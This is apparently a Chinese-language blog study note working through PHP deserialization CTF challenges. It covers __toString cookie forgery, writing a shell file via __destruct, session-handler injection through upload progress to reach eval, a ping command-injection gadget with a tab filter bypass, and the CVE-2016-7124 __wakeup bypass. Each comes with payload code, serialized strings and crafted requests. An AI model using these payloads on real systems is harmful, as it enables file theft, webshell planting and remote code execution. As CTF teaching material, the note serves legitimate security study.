Loading...  # 声明: 以下多内容来自暗月师傅我是通过他的教程来学习记录的,如有侵权联系删除。 [一道反序列化的CTF题分享\_ctf反序列化题目\_Mr.95的博客-CSDN博客](https://blog.csdn.net/weixin_64551911/article/details/125942275) 大佬的wp:[php\_反序列化\_1 | dayu's blog (killdayu.com)](https://killdayu.com/posts/php_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96_1/) **序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。** # 序列化_toString ### 1. 序列化简介 本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。 当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。 ### 1. \_\_toString介绍 \_\_toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法以下说明摘自PHP官方手册 public string \_\_toString ( void ) \_\_toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo \$obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E\_RECOVERABLE\_ERROR 级别的致命错误。 Warning 不能在 \_\_toString() 方法中抛出异常。这么做会导致致命错误。 ###### 2 简单示例 ``` <?php // Declare a simple class class TestClass { public $foo; public function __construct($foo) { $this->foo = \$foo; } public function __toString() { return $this->foo; } } $class = new TestClass('Hello'); echo $class; ?> ``` 上面我们通过调试就能发现,当echo输出的时候,,会自动调用__toString ###### 3.CTF实例 ```php <?php Class readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true);//高亮显示 } } if(isset($_GET['source'])){ $s = new readme(); //实例化一个对象 $s->source = __FILE__; //传入当前文件名,根据Readme.txt输出的提示/flag可知这题要做那么传入的文件名应该是'flag' echo $s; //输出当前文件内容 exit; } //$todos = []; if(isset($_COOKIE['todos'])){ $c = $_COOKIE['todos']; $h = substr($c, 0, 32); //截取0-32位字符 $m = substr($c, 32); //截取32位以后的字符 if(md5($m) === $h){ //全等于才会反序列化 $todos = unserialize($m); } } if(isset($_POST['text'])){ //不过这里我们好像用不到post $todo = $_POST['text']; $todos[] = $todo; //将post获取到的参数赋值给数组,注意如果上面的反序列化通过了这个数组就原本不是空的 $m = serialize($todos); //序列化 $h = md5($m); setcookie('todos', $h.$m); header('Location: '.$_SERVER['REQUEST_URI']); exit; } ?> <html> <head> </head> <h1>Readme</h1> <a href="?source"><h2>Check Code</h2></a> <ul> <?php foreach($todos as $todo):?> //遍历取todos赋值给todo <li><?=$todo?></li> //相当于<?php echo $todo?> <?php endforeach;?> </ul> <form method="post" href="."> <textarea name="text"></textarea> <input type="submit" value="store"> </form> ``` > highlight\_file() 函数对文件进行语法高亮显示。 > > PHP 支持一个错误控制运算符:@。当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。 > > strpos() 函数查找字符串在另一字符串中第一次出现的位置 > > php中ereg()函数和eregi()函数-字符串对比解析函数 > > ·松散比较:使用两个等号 == 比较,只比较值,不比较类型。 > > ·严格比较:用三个等号 === 比较,除了比较值,也比较类型 > > setcookie() 函数向客户端发送一个 HTTP cookie > > header() 函数向客户端发送原始的 HTTP 报头。 > > $_SERVER["REQUEST_URI"]函数: > > 预定义服务器变量的一种,所有$_SERVER开头的都叫做预定义服务器变量 REQUEST_URI的作用是取得当前URI,也就是除域名外后面的完整的地址路径 [\$\_SERVER["REQUEST\_URI"]函数-CSDN博客](https://blog.csdn.net/wolinxuebin/article/details/7629991) 通过上面的注释和分析我们可以知道,post好像用不到了,我们需要构造一段序列化的cookie信息payload,传入让他执行反序列化。 可以发现当执行到这一段的时候会触发_toString方法,而todo的参数已经是被我们改成了反序列化后的参数。 ```php <?php foreach($todos as $todo):?> //遍历取todos赋值给todo <li><?=$todo?></li> //相当于<?php echo $todo?> <?php endforeach;?> ``` 构造payload的时候通过调试发现必须放到数组里序列化才会成功赋值 下面构造payload: ```php <?php Class readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true); } } if(isset($_GET['source'])){ $s = new readme(); $s->source = 'flag.php'; $s=[$s]; echo serialize($s)."<br/>"; echo md5(serialize($s))."<br/>"; echo $s; exit; } ``` 运算结果: ```php a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}} e2d4f7dcc43ee1db7f69e76303d0105c Array ``` 构造的请求数据包,cookie信息记得一定要对特殊字符url编码一次,才能够读取: ```php GET /php/demo/toString.php HTTP/1.1 Host: 192.168.18.238 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.18.238/php/demo/toString.php?source Connection: close Cookie: todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a{i%3a0%3bO%3a6%3a"readme"%3a1%3a{s%3a6%3a"source"%3bs%3a8%3a"flag.php"%3b}} Upgrade-Insecure-Requests: 1 ``` 最后获得flag  # 反序列化_写shell 例题如下: ``` <?php error_reporting(0);//屏蔽错误 if(empty($_GET['code'])) die(show_source(__FILE__));//如果code未被设置就输出当前文件的内容 class example { var $var='123'; function __destruct(){ ////当一个对象销毁时被调用 $fb = fopen('./php.php','w'); fwrite($fb, $this->var); fclose($fb); } } $class = $_GET['code']; $class_unser = unserialize($class); unset($class_unser); ?> ``` payload如下: ```php <?php class example { var $var='<?php phpinfo();?>';//可以把这里替换成一句话木马 function __destruct(){ $fb = fopen('./php.php','w'); fwrite($fb, $this->var); fclose($fb); } } $class = new example(); //$class->var = '<?php phpinfo();?>'; echo serialize($class); ?> ``` 注意一个坑点,就是序列化后的php代码字符串并不会直接显示出来,要右键查看页面源码才是完整的字符串。 `O:7:"example":1:{s:3:"var";s:18:"<?php phpinfo();?>";}` 此时在我们的网站目录下就会写入一个叫php.php的文件。  # php反序列化与session 1.session的三种格式 | php\_serialize(php=>5.5.4) | 经过serialize()函数序列化数组 | | ---------------------------- | -------------------------------------------------- | | php | 键名+竖线+经过seralize()序列处理的值 | | php\_binary | 键名的长度对应ASCII字符+键名+serialize()序列化的值 | 测试代码: ```php <?php ini_set('session.serialize_handler','php'); //ini_set('session.serialize_handler','php_serialize'); //ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['elven'] = $_GET['elven']; ?> ``` 可以看到如下图,不同的格式有着不同的session格式 php  php_serialize格式`a:1:{s:5:"elven";s:3:"123";}` php_binary格式 例题如下index.php,还有一个文件上传页面upload.html: ```php <?php ini_set('session.serialize_handler', 'php');//根据上面我们可以了解到这是设置session的格式局部 session_start();//读取服务器上的session文件,如果格式符合会反序列化,否则会清空 class CTF { public $mdzz; function __construct()//当一个对象创建时被调用 { $this->mdzz = 'phpinfo();'; } function __destruct()//当一个对象销毁时被调用 { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new CTF(); } else { highlight_string(file_get_contents('index.php')); } ?> <html> <head> <title>upload</title> </head> <body> <form action="http://192.168.18.240/php/demo/demo3/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html> ``` **条件左边的是局部变量,[以下配置右边的是全局变量可以在配置文件php.ini中设置]** l session.serialize\_handler php 局部变量 php\_serialize 全局变量 l session.upload\_progress.cleanup 默认开启 现关闭 l session.upload\_progress.enabled 默认开启  php bug [https://bugs.php.net/bug.php?id=71101](https://bugs.php.net/bug.php?id=71101) session.upload\_progress.enabled On session.upload\_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload\_progress.name同名的变量时(session.upload\_progress.name的变量值默认为PHP\_SESSION\_UPLOAD\_PROGRESS),PHP检测到这种同名请求会在\$\_SESSION中添加一条数据。由此来设置session ##### 原理测试: 在eval执行``print_r(scandir(dirname(__FILE__)));``这条命令的时候会以数组的形式输出遍历到的当前路径的文件名。 如果都是在本地服务器上的时候,可以构建如下payload; ```php <?php session_start(); class CTF { public $mdzz; function __construct() { $this->mdzz = 'print_r(scandir(dirname(__FILE__)));'; } function __destruct() { eval($this->mdzz); } } $m = new CTF(); echo serialize($m); $_SESSION['payload'] = serialize($m); ?> ``` 如下足以见得,会产生一个session文件,内容格式是php的:  如果此时访问,index.php是会被清空session的,因为我们生成的session数据是默认走的全局变量的设置的php_serialize,但是代码里设置的局部变量类型是php。 所以巧妙的解决办法是在上图画红线处添加一个 `|` 符号,就会被是被成php类型的session。前面的变成键名,后面是序列化的值。 改过后访问index.php就会发现,成功被反序列化执行了。  但是,实际情况不会是这样,以上只是测试原理,做题者和服务器环境肯定是分开的。此时就可利用文件上传时候变量名PHP\_SESSION\_UPLOAD\_PROGRESS的特性,也是php.ini中session.upload\_progress.name同名的变量时(session.upload\_progress.name的变量值默认为PHP\_SESSION\_UPLOAD\_PROGRESS),PHP检测到这种同名请求会在\$\_SESSION中添加一条数据。由此来设置session的骚操作呀! 此时再访问文件上传页面然后,随便上传一个文件,抓包改文件名filename改成上面的`|`和序列化的值,注意引号的前面要加上转义字符`\` 就像这样`|O:3:\"CTF\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}`  可以清楚的看到,在服务器里的这个PHPSESSID的session文件里面,被写入了东西,就是我们`|`之前的当成了键名,之后当成了值。并在返回信息中成功执行。 但是上面的payload只是遍历文件名。要想输出文件内容,得用这个file_get_contenets读取路径 `|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/software/phpstudy_pro/WWW/php/demo/demo3/flag.php\"));\";`  以上就是全部内容。 # 反序列化__wakeup \_\_wakeup(),执行unserialize()时,先会调用这个函数。 例题如下:index.php 读取目录flag.php,结合了命令执行和字符串绕过和base64编码知识。 ```php <?php class home{ private $method;//私有的变量 private $args; function __construct($method, $args) {//实例化就被调用,传入参数 $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args);//调用指定函数,传入的参数必须是数组 } } function ping($host){//执行ping命令,里面有可控的参数 system("ping -c 2 $host"); } function waf($str){//过滤空格 $str=str_replace(' ','',$str); return $str; } function __wakeup(){//反序列化的时候被调用 foreach($this->args as $k => $v) { $this->args[$k] = $this->waf(trim(addslashes($v)));//过滤空白符,并转义指定的特殊字符 } } } $a=@$_GET['a']; if(empty($a)) die(show_source(__FILE__)); @unserialize(base64_decode($a));//@可以防止输出错误,base64解码了 ``` 解题思路 首先构造序列化参数的时候可以控制,让其添加管道命令执行别的命令。比如在windows中就可使用type加文件路径显示文件内容,但是unserialize 反序列化的时候会优先调用\_\_wakeup() 进行空格过滤 \$this->waf 调用waf函数把空格过滤是空。这里有一个骚操作就是用制表符Tab键代替空格。但是直接输入可能不行,可以在记事本输入然后复制一下,保证它真的是制表符ASSCII中的`\t`才不会被过滤。 构造payload: ```php <?php class home{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($host){ system("ping -c 2 $host"); } function waf($str){ $str=str_replace(' ','',$str); return $str; } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf(trim(addslashes($v))); } } } $c1 =new home('ping',array('127.0.0.1|type D:\software\phpstudy_pro\WWW\php\demo\demo4\flag.php')); echo base64_encode(serialize($c1)); ``` `http://php/demo/demo4/index.php?a=Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czo2NzoiMTI3LjAuMC4xfHR5cGUJRDpcc29mdHdhcmVccGhwc3R1ZHlfcHJvXFdXV1xwaHBcZGVtb1xkZW1vNFxmbGFnLnBocCI7fX0=`  就可以成功读取路径下的flag.php了。其实还有一种方法可以做,利用使用CVE-2016-7124,让序列化字符串中表示对象属性个数的值大于真实的属性个数。即可让绕过_wakeup,这也是我们下面要讲的CVE-2016-7124。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 # 反序列化_CVE-2016-7124 PHP 5.6.25之前版本和7.0.10之前版本的7.x中的xt/standard/va unserializer.c错误地处理了某些无效对象,这使得远程攻击者能够通过精心编制的序列化数据导致(1) 析构函数调用或(2)magic方法调用,造成拒绝服务或可能具有未指明的其他影响。 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7124 #### 序列化格式 Public属性序列化后格式:成员名 Private属性序列化后格式:%00类名%00成员名 Protected属性序列化后的格式:%00\*%00成员名 示例代码: ```php <?php class home{ public $F1; private $F2; protected $F3; public function __construct($F1,$F2,$F3) { $this->F1=$F1; $this->F2=$F2; $this->F3=$F3; } } $c=new home('1','2','3'); $b=serialize($c); echo $b; ``` 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 结果: > O:4:"home":3:{s:2:"F1";s:1:"1";s:8:"%00home%00F2";s:1:"2";s:5:"%00\*%00F3";s:1:"3";} ##### 题目: ```php <?php error_reporting(0);//规定报告哪个错误。该函数设置当前脚本的错误报告级别。 class sercet{ private $file='index.php';//私有变量 public function __construct($file){//对象创建时被调用 echo "_construct<br>"; $this->file=$file; } function __destruct(){//销毁时被调用高亮输出文件内容 echo " __destruct<br>"; // echo show_source($this->file,true); echo @highlight_file($this->file, true); } function __wakeup(){//反序列化的时候会触发,就会重新初始化变量赋值为,index.php这样永远读取的都是index.php echo "__wakeup<br>"; $this->file='index.php'; } } if(empty($_GET['val'])) die(show_source(__FILE__)); unserialize($_GET['val']); ``` 解题思路: 只需要构造个序列化对象实例,通过GET传参,但是反序列化触发__wakeup,所以我们要利用CVE-2016-7124,让序列化字符串中表示对象属性个数的值大于真实的属性个数。即可让绕过__wakeup。 构造payload ```php <?php error_reporting(0); class sercet{ private $file='index.php'; public function __construct($file){ echo "_construct<br>"; $this->file=$file; } function __destruct(){ echo " __destruct<br>"; // echo show_source($this->file,true); echo @highlight_file($this->file, true); } function __wakeup(){ echo "__wakeup<br>"; $this->file='index.php'; } } $c = new sercet('flag.php'); echo serialize($c); ``` `O:6:"sercet":1:{s:12:"sercetfile";s:8:"flag.php";}` 修改为:(注意搭建环境时候的版本。切换一下) `O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";}` 对象属性个数被我们改成了2,而且由于是私有变量序列化输出的%00没有显示出来的时候(查看源码应该能看到),还需要我们输入%00添加上去。  完美! # 网鼎杯2020 CTF WEB反序列化解题 ``` <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { public $op=2;//由于也2=="2"为真所以应该设置2来绕过==="2" public $filename='D:\software\phpstudy_pro\WWW\php\demo\demo6\flag.php'; //$filename="php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/www.test1.com/ctf/demo4/flag.php" //直接写文件名实际会读不出来,只有上面这两种方式好像能读出来。 public $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write();//如果是"1"那就执行wite函数 } else if($this->op == "2") { $res = $this->read();//如果是"2"那就执行read函数 $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) {//判断参数是否有值传入 if(strlen((string)$this->content) > 100) {//设置的参数content不能超过100个字符 $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content);//把一个字符串写入文件中 if($res) $this->output("Successful!");//写入成功输出指定字符串 else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename);//读取文件 } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1";//如果是字符串"2",又会给复制成字符串"1" $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//由于%00并不在其中,所以序列化后的字符串不能包含%00,也就是说要把上面的改成弱类型public return false; return true; } $a = new FileHandler(); $b = serialize($a); echo $b; ``` 最后修改:2024 年 12 月 14 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 5 如果觉得我的文章对你有用,请随意赞赏